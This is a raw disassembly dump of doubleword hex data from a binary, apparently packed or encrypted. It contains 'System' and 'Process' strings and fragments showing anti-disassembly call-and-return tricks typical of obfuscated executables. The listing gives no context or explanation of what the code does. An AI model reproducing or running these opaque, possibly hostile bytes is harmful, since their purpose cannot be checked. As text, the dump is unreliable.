218DBD83h, 0F010607h, 4584h, 0D7B70F00h dd 59BD83h, 0F000607h, 3585h, 82F68000h, 0C9CA8153h, 5A0461F1h dd 217DBD83h, 0F000607h, 0C184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0F9E9F86Bh dd 6A000003h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 3BA9C355h, 982D6FE4h, 53BA6462h dd 0A006BA66h, 0B70F605Bh, 0BB6660F7h, 0CE8115C9h, 64BC2B67h dd 6161h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 51A077C3h, 0C2816B59h, 50891F73h dd 0CA816652h, 6A5AF8D3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1968C357h, 0A3EE8EBh dd 8B60915Ch, 68C0FDEh, 81000000h, 0D52F47E9h, 7966162h dd 0B48112ACh, 0B2C108FCh, 3F6C88F3h, 0B2B188F2h, 0CB5D050Ah dd 0D46A82BFh, 62C95E78h, 66034A72h, 7064C7FEh, 0D8C688F7h dd 0B18BDBF3h, 92B188F3h, 3B834BA8h, 3368ACAFh, 0AA32ACB7h dd 0F11B88F3h, 97F64BA0h, 38D6FC8Ah, 0B28BDD0Ah, 0EFB188F3h dd 28BD6572h, 0B2068EFFh, 0B23560A1h, 0E83B88F3h, 0E604D230h dd 0F6478CD7h, 0B27E8CD7h, 0E0F388F3h, 0C4598A30h, 8AE5F367h dd 0BD1DDDEBh, 0B21B8B7Ch, 6D06EEF3h, 0BA2EE893h, 0AC6388F3h dd 4BA75163h, 0E856D683h, 0F8813095h, 42898792h, 0B0968792h dd 398D88F3h, 5B06032Ch, 0B26388F6h, 749F1A2h, 3E6ED813h dd 0D4488C7Ah, 0B3395678h, 0D8E5ACBFh, 0B165DFF3h, 92C688F3h dd 3B3C4BACh, 33B5AC8Fh, 0A8DCACB7h, 0F56C88F3h, 9DF44BA4h dd 0D7E3C151h, 3282E8D2h, 0B2C688F3h, 0B26107FCh, 683A88F3h dd 0B72DD092h, 0B26C8AFFh, 0BABD7279h, 5A488899h, 0B28D88F0h dd 0E905D3D3h, 0B647D47Ah, 0B695CC72h, 0B2D888E4h, 83AFDBB0h dd 3885BF27h, 0FA90EE07h, 0E78DE20Fh, 0B2C68B1Bh, 713EA8F3h dd 96DD01AEh, 969C09F7h, 0B26C92F7h, 7163CDF3h, 0DD6BD864h dd 32D46DCAh, 0B37E0330h, 0D86388F3h, 0B159DFF3h, 92D888F3h dd 3B334BACh, 3332AC8Fh, 0A61FACB7h, 0F58D88F3h, 0E25C4BA4h dd 0B263861Bh, 903FE9F3h, 0B5874750h, 6E9DD79Ah, 894B623h dd 0CF7BDCCDh, 968101A8h, 0B2CF6093h, 5E4788F3h, 92CFBEA0h dd 0BD262EFFh, 33324844h, 0E4BE6832h, 87BE9D1h, 0B1F5C4CFh dd 0BB92549h, 3E05E981h, 0B6707E2Ah, 0B3F90DFCh, 5B9088F3h dd 0B23688E3h, 85E96221h, 2FC2C762h, 2ED8AF70h, 3873EAFFh dd 0A107E8AAh, 0D3210395h, 0BD04B173h, 0B237B576h, 0E31BE2F3h dd 0B28D8B1Bh, 719FA8F3h, 962F01AAh, 96F509F7h, 0B2D895F7h dd 713DC9F3h, 27A68269h, 532FFE8h, 0BF64514Ch, 0DC688F3h dd 0B4C31E03h, 6D0CA47Bh, 0CB30D440h, 0D86DF178h, 0B1DEDFF3h dd 921B88F3h, 3BD24BACh, 33C2AC8Fh, 0A567ACB7h, 0F5B188F3h dd 0B0F44BA4h, 3763E225h, 0B23688F1h, 0D27B5979h dd 0EB883795h, 0D4260995h, 3302E966h, 0B2B1880Ch, 715A8773h dd 0D86C88F3h, 0B1DED8F3h, 921B88F3h, 3BD54BABh, 33C2ACB7h dd 0A767ACB7h, 0F2B188F3h, 44A34BA3h, 75816A73h, 0BEAF3876h dd 0B21B89F5h, 0E28DE2F3h, 0B2C68B1Bh, 713BA8F3h, 96F501ABh dd 969C09F7h, 0B26C9DF7h, 7166C8F3h, 324CD860h, 5BD63315h dd 0B2C68843h, 5A368899h, 0B2B188F0h, 0EF1BD5D3h, 0B648E47Ah dd 0B612CC72h, 0B21B88E7h, 504EDDB6h, 0BE040995h, 0B22F6135h dd 713088F3h, 0B569726Ah, 0EBBB37FCh, 0D8FD0995h, 0CB98EEE6h dd 368277F8h, 0B2C688C1h, 5A308899h, 0B2B188F0h, 0E91BD3D3h dd 0B648D47Ah, 0B612CC72h, 0B21B88EFh, 0BF4EDBB0h, 8D2DAEB2h dd 0A8E97FACh, 37765079h, 0B4D41143h, 0B26C88F2h, 0D87E0B45h dd 0B1F3DFF3h, 928D88F3h, 3B994BACh, 3367AC8Fh, 0AEB5ACB7h dd 0F5D888F3h, 52524BA4h, 0B6F07675h, 5AC75B40h, 0B28D88FEh dd 81A3DA49h, 2368015Fh, 0AEABC4C8h, 6453EE0Ah, 6AD387A8h dd 7E6F5B4Ah, 0FC9E05E5h, 3F8B846Ch, 0BE5B024Eh, 0C69BB3F5h dd 63BEB8F4h, 4733CF3Ah, 5A398899h, 0B23688F0h, 0EFD8D5D3h dd 0B6A9E47Ah, 0B6E2CC72h, 0B26388EEh, 0A172DDB6h, 8785410Dh dd 7BC13412h, 0E736E2D1h, 0B21B8B1Bh, 71D0A8F3h, 96AA01AEh dd 962709F7h, 0B2B19CF7h, 718DCDF3h, 0B1E7873Ah, 0BD3688F3h dd 397D5A4Ch, 3F300B22h, 0B3C08FD2h, 0B2E30CFCh, 0B2DB88F3h dd 0B2DB60A2h, 0EB4C88F3h, 0FEBFD130h, 0F69A8CD7h, 0B2948CD7h dd 0E38788F3h, 0A6A7DE30h, 334837E4h, 9D9D3921h, 0B6E0879Fh dd 0D43688F3h, 31AE1349h, 0B58DD14Eh, 37C988F5h, 0B26388B1h dd 28C13395h, 93A53570h, 0BD6C8EF4h, 0B236D177h, 0E01BE2F3h dd 0B28D8B1Bh, 719CA8F3h, 963701A9h, 96F509F7h, 0B2D895F7h dd 713ECAF3h, 0C81B39AAh, 9EB2734Dh, 7EDB31Fh, 0CF26096Bh dd 0D30B00CFh, 24585B78h, 0D8D888F3h, 0B184D8F3h, 923688F3h dd 3B434BABh, 3389ACB7h, 0ABC2ACB7h, 0F26388F3h, 5AA84BA3h dd 1FD995DFh, 0FEF5078h, 0B431A97Eh, 809E87F2h, 0D48D88F3h dd 0D49B5778h, 719EF349h, 5AE48899h, 0B2D888F0h, 0EFAFD5D3h dd 0B612E47Ah, 0B63FCC72h, 0B28D88E6h, 0E205DDB6h, 47D8EEEDh dd 0B28661D0h, 0DD788F3h, 0B485D52Ah, 0C03688F3h, 274F692Eh dd 0B2E74704h, 0B2C560A5h, 0EC4388F3h, 0C638D630h, 0F6598CD7h dd 0B2718CD7h, 0E47088F3h, 4D740E30h, 4A24970Ah, 39174E36h dd 0A6DE0529h, 3FB78469h, 0BE47937Eh, 0EE7130F5h, 3705F3C9h dd 0B41C943Eh, 5B4A47D8h, 5E57E6Fh, 846CFC9Eh, 24E3F8Bh dd 0B3F5BE5Bh, 0B8F4C69Bh, 0CF3A63BEh, 5E98333h, 0BD83A4F3h dd 60C99B0h, 8D0D7400h, 74E1C8Dh, 1B806h, 0E1FF0000h, 3525BB40h dd 11E926F9h, 67000000h, 3CFD0866h, 0DA20BCFEh, 0C1CD705Eh dd 0AEEB67B7h, 0F2DE883h, 687h, 0ABCB8100h, 8B0FF831h dd 0D6BB66C0h, 0F5BD8324h, 6070Fh, 0BD830975h, 6073001h dd 50197400h, 0B8C08B53h, 3FCh, 265D8589h, 9D8D0607h, 609AD0Eh dd 585BD3FFh, 3001BD83h, 74000607h, 0B8535017h, 3FCh, 265D8589h dd 9D8D0607h, 609A9AFh, 585BD3FFh, 8E9h, 7A44F600h, 24341E4Fh dd 0E9C08BCCh, 10h, 17E96180h, 3 dup(0) dd 0CD8E9h, 0A1A26800h, 93E9060Ch, 68FFFBA0h, 60CA2A0h dd 0FBA089E9h, 0A45368FFh, 7FE9060Ch, 68FFFBA0h, 60CA57Ch dd 0FBA075E9h, 0A88068FFh, 6BE9060Ch, 68FFFBA0h, 60CAA2Fh dd 0FBA061E9h, 0AB5C68FFh, 57E9060Ch, 26FFFBA0h, 6ED95853h dd 0B21D9C2Fh, 0F45FDEEDh, 3AA524A7h, 7DEA6978h, 9B2E6C85h dd 0DEE1B11Ch, 25A0F45Fh, 66753BA6h, 0A013F8E7h, 2040DFAFh dd 0ED1C71A3h, 5D9F18A3h, 649CB99Bh, 0C20878D0h, 0CD4C5F21h dd 1891B559h, 5355A5A5h, 158EB72Ch, 24CBDE9Eh, 9AE0505Bh dd 0B5B5D6FDh, 572405DFh, 2ECA1BF9h, 20C873h, 0E4F30000h dd 30A31C38h, 2C53AF1Ch, 0CA90D36h, 0DFB4AFC7h, 8663314h dd 732DCC2Ah, 121D9h, 0A3ED0400h, 0EA91A907h, 0F3544540h dd 1DACEE8Fh, 325618B9h, 61491406h, 6ED23398h, 79F883CDh dd 4F80F33Ch, 83264C1Dh, 0DEEDB35Ah, 2AAF1F7Ah, 264CE63Ah dd 0C2355C22h, 264C228Dh, 3E1184C5h, 14264C22h, 0B0298AEBh dd 53207939h, 3091EC50h, 0A00171CCh, 1CAFEC63h, 64ED5DB8h dd 0B300771Ah, 0CE71CC30h, 264C2381h, 0E347A8D1h, 0F8719539h dd 53D56585h, 948B72Ch, 3EB71276h, 0B52D84CBh, 44A5CEDFh dd 898D51C5h, 796F9D10h, 0B801D5AFh, 0A3DA0A45h, 0C80E48D5h dd 0CEE60BF4h, 0A8990B6Ch, 0A932B988h, 0C359404h, 3A5E1C93h dd 622D6FAFh, 8CFDE759h, 0F22FAE0Fh, 708E71B0h, 2577E6ADh dd 86E742A6h, 0A4CF8D16h, 0A3E7E85Bh, 0C2EBD5A3h, 0A3A3301Fh dd 98F922D5h, 0BB3E60F3h, 74AC7E13h, 0A75h, 42C1CA8Fh dd 860586D7h, 0C847541Bh, 0E8D1E5Dh, 53D2D1A3h, 83D11CE6h dd 46168100h, 1D59C443h, 0DEA00B8Ah, 785D4CCBh, 40DECA05h dd 81D60820h, 0A31CAFEDh, 0E858632Ch, 47521C87h, 38E49DC8h dd 8A0386D6h, 4C7F3817h, 90F11A26h, 1285CE17h, 264C7F3Dh dd 0B519AAEBh, 42B4DD5Ah, 0F2E46A21h, 119606C6h, 0D3AC773Dh dd 0ED8AEE17h, 0DFB4D7E6h, 0E94714F5h, 732DA40Bh, 0C8B8h dd 0A3EDE300h, 0F75D9F18h, 95C7F8B9h, 0C061A717h, 0EE8BEFF2h dd 264C1BFEh, 921198E6h, 0EE525927h, 30BB047Bh, 6F0171CCh dd 0E52EA7AFh, 753206Eh, 64C52084h, 134F6FF4h, 5CA52C53h dd 0B5EFE6E9h, 53C3ECDFh, 0DB52CBF4h, 4AA5099Ah, 0D90579DAh dd 0EF9DB225h, 8CB5DFB5h, 2069B22Bh, 0B5EFA2ADh, 0E087B0DFh dd 199E0E91h, 0D5AFB8D8h, 71E8618Ah, 0B621A023h, 0A540E5E4h dd 3313BB04h, 9772961h, 0C88D0000h, 84D540BFh, 56198403h dd 185BC645h, 0D3A10C8Bh, 1EE451D0h, 830281D3h, 0C6455818h dd 0D8C1F5Bh, 4ECDDCA2h, 0C8077A5Fh, 0A2040DDh, 0AFED83D8h dd 6C329D1Ch, 2AA1DE5Dh, 9BF65A69h, 0BBD2BA29h, 29995947h dd 5FD21BE0h, 264C7F70h, 0EC697C38h, 84CA53C3h, 0AEF091F5h dd 0E4289C1Bh, 5C9EE760h, 3FB23DB6h, 264C4C10h, 0AFA71942h dd 0CC51C160h, 2C53E6B4h, 0D879DD06h, 19840396h, 43E04457h dd 4029FF56h, 0C024A7F6h, 0E74B501Fh, 55BC8978h, 0C11C800Bh dd 0EDB0C60h, 53D2D9A7h, 0AF13A6E8h, 39453E12h, 83FAF540h dd 96256A33h, 676D732h, 97D9400Dh, 541A8504h, 4595BA2Dh dd 94BD4039h, 135CCF33h, 457857CAh, 315A4039h, 3945418Eh dd 0F8689140h, 39455573h, 83045540h, 0AB3E7E1Fh, 31FEC347h dd 454A85F8h, 5F884039h, 0C13889FEh, 847DEDFEh, 7B0E50B7h dd 0BCCF91FCh, 0A06EAE58h, 0F46DCED1h, 0E0EF62ABh, 0F2403945h dd 0B8D459C9h, 9A4A26BDh, 5E7EF271h, 72CA3DB6h, 444C3D92h dd 361AB71Bh, 217C2B6Eh, 0C33A7340h, 0A4BF2F1h, 4ABA1579h dd 9C10ECCAh, 4E29BD3h, 52C60000h, 0F61EBE5Dh, 8EC1347Dh dd 0C4264C7Fh, 87D02B9Bh, 7395E745h, 0E13CA023h, 88B57A6Fh dd 14C39318h, 5B952C53h, 9450904Fh, 387E8E9h, 0E54342A6h dd 0DEA118FAh, 9E0E69CDh, 0CB44C00Ch, 7AC00458h, 0C1254E31h dd 0D64FF717h, 0E764E494h, 1859C38Dh, 67C82387h, 46299CF7h dd 0C3B7170h, 0ADF36AE3h, 6A349F1Eh, 60B5BA5Fh, 4113F14Fh dd 7C409h, 72754000h, 0B6C988F3h, 0F883CC37h, 3E4D0E79h dd 830654BFh, 826B9704h, 0C732B130h, 0A75F4F7h, 51BC3B4Eh dd 0EFD7C0Fh, 0DB99B629h, 87B92040h, 18A3ED32h, 3F4C13B4h dd 0C50A7DC6h, 0D264C7Fh, 111374E4h, 112h, 0ADD91B64h dd 6C8CAE43h, 3738E50Fh, 0D083FEC5h, 0A0ACE60h, 696C23EDh dd 0B391EFBCh, 60793594h, 8Ah, 0DA3CE48Bh, 11620998h, 72D32E92h dd 123DB0F9h, 40264C7Fh, 34CA717h, 7F0847BAh, 214A264Ch dd 62F961AFh, 0B5259511h, 4CE11C30h, 86FC3626h, 6D03C94Fh dd 47BF455h, 17AAEABBh, 5F0046B6h, 9A118A11h, 0F556C6D5h dd 51B5C48Ah, 66DF67A7h, 53F2AFF3h, 5CC0E92Ch, 86EAF9BBh dd 0AF1394E5h, 42633061h, 0DF18E5C6h, 0A347A29Dh, 3FAFAB1Dh dd 2EAAE1BFh, 108E73h, 1BB90000h, 0EE33EDD9h, 2797178Bh dd 11407h, 0A41B5A00h, 106BCFDAh, 7F2B2497h, 0FE27264Ch dd 34D0FC8Eh, 836C48BBh, 0C33A2C53h, 2F8AEEFDh, 0E71E26BDh dd 39A90697h, 250CB1DAh, 7B19ACD3h, 69B71A9h, 2C690000h dd 0E0B11C9Bh, 0AAF560DFh, 6437A221h, 3F7DE867h, 42C02DACh dd 57D6D5A7h, 9A19ACECh, 0E1606B2Fh, 22A12876h, 0F4DB4E33h dd 0DE2040DAh, 0A41B57ACh, 0CD5FCFDAh, 22EC0905h, 0BF8C393Eh dd 0CFB3D86h, 0E63E5112h, 92626D10h, 4770264Ch, 60D0D3A0h dd 35E902E0h, 286BE279h, 6CDC379Bh, 68E0h, 3CE40B00h, 0A40594DAh dd 0E4E7B42Bh, 0B6B52580h, 627176ECh, 0A616A5EBh, 0A482E0ADh dd 537934FBh, 45h, 15D91B7Eh, 645D1633h, 2BEF81F1h, 12AFA013h dd 7AA3264Ch, 2532FC19h, 56BAC18Fh, 81E5E6B5h, 12B49B0Eh dd 759E264Ch, 0D0F1BE53h, 0DD400DBAh, 264CEA8Fh, 647E5BF9h dd 5A2D7935h, 46FFFFFEh, 8AFA81CFh, 203CE441h, 23223903h dd 6D4BA976h, 1A7934FBh, 268h, 0DAA41B45h, 85CA6BCFh, 0A91C95F6h dd 264C7FA6h, 8A1383ACh, 0B455B9C8h, 3280E4E7h, 8FCD3401h dd 7EE2E9B6h, 1837AA23h, 3A264C7Fh, 0F431B011h, 675CA4B2h dd 0DD4D5A3Bh, 296B0654h, 7E34D933h, 0A0AF5227h, 0B2264C6Eh dd 38AF2889h, 0FEBE6578h, 0BC2C87EBh, 99C10376h, 3364DAC2h dd 0FB5F6232h, 3DCF3FA0h, 89FC7591h, 2C53A671h, 0B2369AC3h dd 4447148Bh, 0A70EDBD4h, 0EC57D6D5h, 2BA21BAEh, 4340136Ah dd 8F2C72E2h, 0DFB59944h, 0A60DDA73h, 1A5CD5D4h, 39771574h dd 0CF00731Eh, 3DFB59Fh, 0A80979DAh, 875B7F3Dh, 0DEF9889Fh dd 0CA74D839h, 5877EA02h, 7ADFB5A8h, 477F051h, 0D5AAA89Ch dd 0F33CB5DEh, 0BEA84F80h, 0EA5A83D5h, 4DC91589h, 8B1C5DD4h dd 9F0F9AE4h, 0A2B9FB44h, 3C09637Eh, 6A26AB1Bh, 0ECDFA1B2h dd 29084AC3h, 91126344h, 6660D22Dh, 0C40A7A33h, 0A73A2827h dd 950C07CBh, 5952C2C5h, 54F01C8Ch, 0C22468DBh, 0F032C1B8h dd 76723373h, 0FB5ACA05h, 96E259D2h, 992C6C13h, 135DC829h dd 3AB12488h, 0AA056978h, 0DCEFB13Ah, 30DE205Dh, 0D9B53306h dd 0B9EE087h, 4ADC4CA7h, 96098282h, 0CBB740B6h, 7E1B7FA8h dd 0C791C055h, 268A195Bh, 26993A85h, 0C791C029h, 3B9F0029h dd 425F2B7h, 7CDAA788h, 5B12BE9Eh, 204Dh, 38E47800h, 1C30A31Ch dd 362C53AFh, 0C70CA90Dh, 14DFB4AFh, 2A086633h, 0D9732DCCh dd 0CFh, 18A3ED04h dd 85F841B4h, 264C7F4Ah, 66EF5F88h, 0A51C9514h, 146FD3D4h dd 74EB5EA4h, 0A730A02Bh, 847BAD9h, 4A264C7Fh, 0BB5CC021h dd 12BAD5F5h, 78235BBh, 90C027A6h, 0E6264C0Ch, 3A9E2D6Fh dd 64C8DB99h, 0AF38A809h, 0E75BDAE1h, 33A61F27h, 2C56AA6Ch dd 3B84FD26h, 0BAA687C8h, 32A2CBDFh, 7E1260D7h, 0B92CB9F0h dd 0DFBAF196h, 0F92193BCh, 1F920B0Bh, 0DFBA8A30h, 1998F922h dd 0C997ECAEh, 8A1837AAh, 113ADFBAh, 0B1AA4FB0h, 0EF19A21Bh dd 397E51Dh, 286D0000h, 0E4B5209Fh, 0B6F964E3h, 783BA625h dd 3381EC6Bh, 3EC431B0h, 63E2E1B3h, 0A625B8F8h, 0ED6C7F3Bh dd 2EAD3C82h, 0E8E75A3Fh, 0EA2040D7h, 0AFED63B8h, 6C329D1Ch dd 0EDB3DE5Dh, 13B418A3h, 94BF3E4Dh, 9F18A3EDh, 0D07345Dh dd 0A717ACC5h, 0DAFEC061h, 0A772B27Fh, 68B7EAD0h, 417A49BBh dd 2F6CEB4Ch, 35F73CEDh, 1D8D4EBBh, 4AC3438Bh, 53DBF7D7h dd 5CC0E92Ch, 0B53B94BFh, 0D84C7DFh, 0D0C93942h, 43C7A503h dd 3274732Eh, 8D000000h, 9F464516h, 155ECEDDh, 0A31C38E4h dd 53AF1C30h, 0A90D362Ch, 0B4AFC70Ch, 663314DFh, 5E71E42Dh dd 74DFB4AFh, 7D5BDB4Bh, 2A732DCBh, 149h, 7A3ED55h, 5A2423E3h dd 6C63D60Dh, 66264C6Dh, 177BDC3Dh, 7A7762A4h, 33CF0073h dd 0DA03264Ch, 276EE68h, 384B0992h, 921F61D4h, 0D0AFEFE4h dd 86C851C1h, 956768DBh, 426B264Ch, 92DC7DE1h, 8BECFFC1h dd 6EB5A50Ch, 82CB264Ch, 4C9AC00Fh, 0BBD81226h, 0AD73BA4Fh dd 0ED76E647h, 0B78CD2A3h, 2485E6E5h, 0AC1F68A5h, 264CE4A3h dd 8D1686AFh, 0AA54B8C3h, 0F669E262h, 2C533E7Eh, 0FBD66A0h dd 1294D3C0h, 0A831AD2Eh, 0F859BA20h, 384B087Fh, 0A80979D4h dd 0F36CE834h, 0A51837AAh, 4210DFB5h, 380DB3Fh, 0C60F6ADAh dd 1B7F0C4Fh, 0A51A35A8h, 0F38DFB5h, 0E0B93EAEh, 0B6D5AFF6h dd 0A5D86274h, 0BA2A8290h, 44F215Bh, 0FE1D2AD0h, 683D1285h dd 0EC15D5BCh, 0D99B128Bh, 4FB03B84h, 5C1C93D0h, 250D949h dd 0F8F7DA7Fh, 835513A4h, 1E84Bh, 4E591C00h, 921564CFh dd 0D4E7A813h, 1AA9EA55h, 5F62309Bh, 568F73E0h, 9B068504h dd 0DE49C8DBh, 25900F9Ah, 0E2D1505Bh, 0D5458AFDh, 5B8D2040h dd 0BAFED06h, 28B3EF7Eh, 1E98ED0Fh, 332021A1h, 81F871D2h dd 97246B32h, 0FA65C636h, 6AAC25B4h, 0A2CCB4C9h, 0A506766Fh dd 1C38E47Ah, 0AF1C30A3h, 0F83A2C53h, 0BAF5CDB2h, 4E81F402h dd 84DFB40Bh, 2B8AFA5Bh, 0B5877EAh, 517ADFB4h, 0D7198CF0h dd 403D1238h, 0A52A9A56h, 0DFB423AEh, 49AD3C82h, 70D4E7A8h dd 9A216E15h, 0EAB7E836h, 9F6C4DC9h, 2D576341h, 0BD1073h dd 1B3B0000h, 0F7D6F6D9h, 6DDD638Bh, 960F9AE4h, 0DA4A511Fh dd 22A1F394h, 0ED3121BEh, 5719264Ch, 145AC544h, 57772185h dd 1B2B2497h, 0FE27264Ch, 39B1249Dh, 5B2C53C1h, 0FD70B932h dd 0DFB541D2h, 667D700h, 51CA4A92h, 0CF34C608h, 0DBB389F7h dd 0B5C61738h, 0A2123BDFh, 912ED447h, 32CD5AFh, 4241138Ah dd 112D87C9h, 1B680F6Eh, 0CB0D4AABh, 0BAE6B825h, 0D55ECE9Ah dd 105F0487h, 0E613A46Ah, 0BBDC14h, 0C490000h, 0C091FC7Bh dd 8AD540BFh, 44178201h, 1F5DC847h, 62A00D8Ch, 37B63587h dd 7AF98CCCh, 0C1404B0Fh, 2810856h, 94BB2E13h, 0BE2040D4h dd 0AFED378Ch, 6C329D1Ch, 0EDB3DE5Dh, 13B418A3h, 0E3BCF84Dh dd 4FB01192h, 94B05CD0h, 1F81A81Bh, 97D12C59h, 45A89FA7h dd 1074D5BFh, 1B9A216Fh, 77DBEEB0h, 0C1FE21DAh, 5C295AC1h dd 0DAEDAC23h, 22AB1B76h, 0F1BE355Ch, 882B86EAh, 0CE419647h dd 8201628Bh, 0B8FC4917h, 0D6EC92Dh, 384B08A9h, 616233D4h dd 891C5CFDh, 0D9A6D725h, 9C692EB8h, 5E1A6B35h, 0D4D7A44Bh dd 35B41570h, 0EEAF84CAh, 0BD1E79DDh, 32159h, 6A740000h dd 1FA8ED95h, 45541ABBh, 717440E1h, 992C6C0Dh, 0C3C69435h dd 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h, 687B3ADBh, 54519004h dd 4C18159h, 83000000h, 0C8704E9h, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2434895Ch, 4EC81h, 2C890000h dd 39BB5324h, 53060CA0h, 75243481h, 5E4FC767h, 6775F681h dd 545B4FC7h, 81242C8Bh, 4C4h, 4EC8100h, 89000000h, 458F2434h dd 242C8B08h, 5E08950h, 4, 8704C083h, 8B5C2404h, 89532434h dd 4C381E3h, 83000000h, 1C8704C3h, 0CFE95C24h, 26FFFB93h dd 6ECBE2C0h, 0B64BC119h, 0AC3CB895h, 0C503060Ch, 3647E0FFh dd 0CF610D9Ch, 0F04C5DDCh, 45D81999h, 2C37487h, 0AB0924A8h dd 12A603A2h, 0FA9109FBh, 44086E2Ah, 0EFBE501Dh, 0CA790C3Bh dd 5B5F292Dh, 778132FCh, 0B5A965E8h, 0EE7A6C15h, 95F25374h dd 0E827533Dh, 0D9975FACh, 57C923C3h, 609422D3h, 0A1D44AF0h dd 5D687EDAh, 0FF8E29D3h, 8D8D39A2h, 60CADC6h, 0FE58523h dd 9D290607h, 6071DE9h, 6798D89h, 95890607h, 6072665h dd 2CE585C7h, 63F00607h, 0B58B0000h, 6072889h, 2D0585C7h dd 607h, 0BD2B0000h, 60731E1h, 1515B5FFh, 6A0607h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 2371BEC3h, 33B0E36h, 0E9DBD89h, 95FF0607h, 60700BDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 7DC35040h dd 0FF006A33h, 716B595h, 0EBC08B06h, 82975A2Ah, 0A3867FADh dd 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh, 552CE024h, 2DF4B377h dd 0D511BFBFh, 6834E28Bh, 0C829CEEEh, 0E97B9010h, 166h dd 590288FEh, 849F6B0Ch, 4C634FEAh, 0BBE5B8Ch, 52B555A5h dd 0BB655B7h, 52BD5B34h, 3B96724Ch, 52C42767h, 0D03F73F8h dd 9C3BC714h, 5283B5A0h, 52F21719h, 128h, 0 dd 4, 2 dup(0) dd 2Fh, 0 dd 8, 0 aSystem_0 db 'System',0 aProcess db ' Process]',0 align 4 dd 3Eh dup(0) dd 0F9E90000h, 68000017h, 60CB179h, 0FB9121E9h, 0B27C68FFh dd 17E9060Ch, 68FFFB91h, 60CB363h, 0FB910DE9h, 0B45668FFh dd 3E9060Ch, 68FFFB91h, 60CB5F2h, 0FB90F9E9h, 0B79068FFh dd 0EFE9060Ch, 68FFFB90h, 60CB851h, 0FB90E5E9h, 0B91A68FFh dd 0DBE9060Ch, 68FFFB90h, 60CBB36h, 0FB90D1E9h, 0BC0B68FFh dd 0C7E9060Ch, 68FFFB90h, 60CBCC3h, 0FB90BDE9h, 0BD6068FFh dd 0B3E9060Ch, 68FFFB90h, 60CBEDCh, 0FB90A9E9h, 0C53968FFh dd 9FE9060Ch, 68FFFB90h, 60CC617h, 0FB9095E9h, 1AADE8FFh dd 5E61309Bh, 0A02B74DFh, 0E6E5B621h, 2BBEFC67h, 2AC33FACh dd 6FDA5968h, 0B21D9C2Fh, 0F964E3E6h, 0B6A524B7h, 0D0715ED1h dd 2F612040h, 18A3EDDAh, 596C289Fh, 0E42A9AF5h, 0EF6E7D43h dd 6C7F3BB2h, 0A2A26AFCh, 0DFE2B229h, 0A1A1146Fh, 0B32C538Fh dd 71B3268Ah, 5ED76AD6h, 77FC6C15h, 0DFB4745Ch, 21850054h dd 4CB03380h, 9080B1E0h, 688A3F36h, 69E506D3h, 7F5DBB88h dd 2C732D24h, 3Fh, 0D638E457h, 27A00188h, 53AF98B4h, 2D91BA2Ch dd 0D1FE71BAh, 1DFB4AFh, 0E8E368D8h, 0EBDFB4AFh, 1DF3D0Ah dd 0AE732DCCh, 123h, 0C40B7EC7h, 0EDFB4A3h, 0A3755ACDh dd 345DDFB4h, 0ED1A63D3h, 13B418A3h, 6BDE4241h, 7FA0AF22h dd 89B2264Ch, 0A01093E2h, 0DE424917h, 0E968733Dh, 4C847482h dd 0BFCA9426h, 3486FD46h, 53F651B5h, 0D9B3847Ch, 5CBD2D56h dd 9104AFF1h, 0D9B384BEh, 0D68A559Fh, 0C13ECE2Ah, 8CA74B87h dd 9DFE67AAh, 0CF81C33Ch, 453910DCh, 29D31989h, 9FE861E5h dd 0B543BC5Dh, 9E0EB134h, 0AC361919h, 0A9224BD3h, 0CB35CE67h dd 98084832h, 0FB1BC337h, 691D0F82h, 466FD5AEh, 750556CDh dd 21C18278h, 2292F316h, 0C2357EC7h, 0D5A2638Dh, 0A32C9CC5h dd 1653D2D1h, 81797ED4h, 0D144270Ah, 0D5A26EFEh, 0DA4AABD4h dd 0DB800351h, 13BAE336h, 3E0A4214h, 66000015h, 0AE199813h dd 0F25DDCEFh, 349F1EADh, 7AE56467h, 0BD2AA938h, 0DBEEAC45h dd 1EA1F15Ch, 6560349Fh, 0A6357BE6h, 0E0533827h, 2040CEEFh dd 0ED5CB1E3h, 609D1CAFh, 96481B1Eh, 90002BECh, 4221B907h dd 5AE6C33Ch, 2F1E31A4h, 0B34264Ch, 2FBC03AAh, 0E4244FCEh dd 30A31C38h, 2C53AF1Ch, 0CA90D36h, 0DFB4AFC7h, 8663314h dd 732DCC2Ah, 0DBD9h, 0A3ED0400h, 0DF569F18h, 4EA90D9Eh dd 4C7FA4ABh, 9374AE26h, 0E291D20Eh, 8ED444A5h, 0B81CAFEDh dd 4C5D0D1Bh, 58632D26h, 962968DFh, 145AC526h, 57772185h dd 0A3C336AFh, 0F52C535Dh, 5C1153CCh, 338B9D1Ah, 0F4CAD1Dh dd 5FC3D698h, 37188B04h, 1BDFB546h, 2CF082F2h, 0AA0E9DE2h dd 2C75EE4Fh, 465F70E3h, 0D97EDFB5h, 41081C07h, 84F61F9Ch dd 39CAD18Bh, 189D0D04h, 0D5AF26D9h, 70E76089h, 0B5209F22h dd 303FE4E7h, 0C613BB97h, 143BBCF4h, 2C690000h, 0E0B11C9Bh dd 0AAF560DFh, 6437A221h, 3F7DE867h, 42C02DACh, 57D6D5A7h dd 9A19ACECh, 0E1606B2Fh, 22A12876h, 0F4DB4E33h, 0DE2040CDh dd 0AFED57ACh, 0B461A31Ch, 143BAEF4h, 3E264C95h, 4E3CA315h dd 1681E252h, 97C24148h, 0D0DBA41Bh, 7FEBE457h, 0BEE7264Ch dd 0F0FBC54Eh, 5A5EB8Ch, 0C697B98Bh, 81D753C5h, 9E0988E9h dd 0F51CAD1h, 236D9761h, 67D93498h, 272855Ch, 35551BBCh dd 0F4481E07h, 0E867C8B6h, 0E0EF62ABh, 0F2264CD3h, 0AA3559C9h dd 0C841C509h, 53070555h, 0AA2E572Ch, 2F30014Dh, 58FC20E4h dd 5D1F96DFh, 1F8FEA4Eh, 3CDD669Ah, 63C7F02Eh, 66D915B9h dd 0DA244469h, 7AD52F69h, 8F917356h, 0E154CD2Eh, 0D03E658Bh dd 871A5AC9h, 6836AD26h, 2977E261h, 0D7FCFDA2h, 20F2160Ah dd 1354E8h, 82055000h, 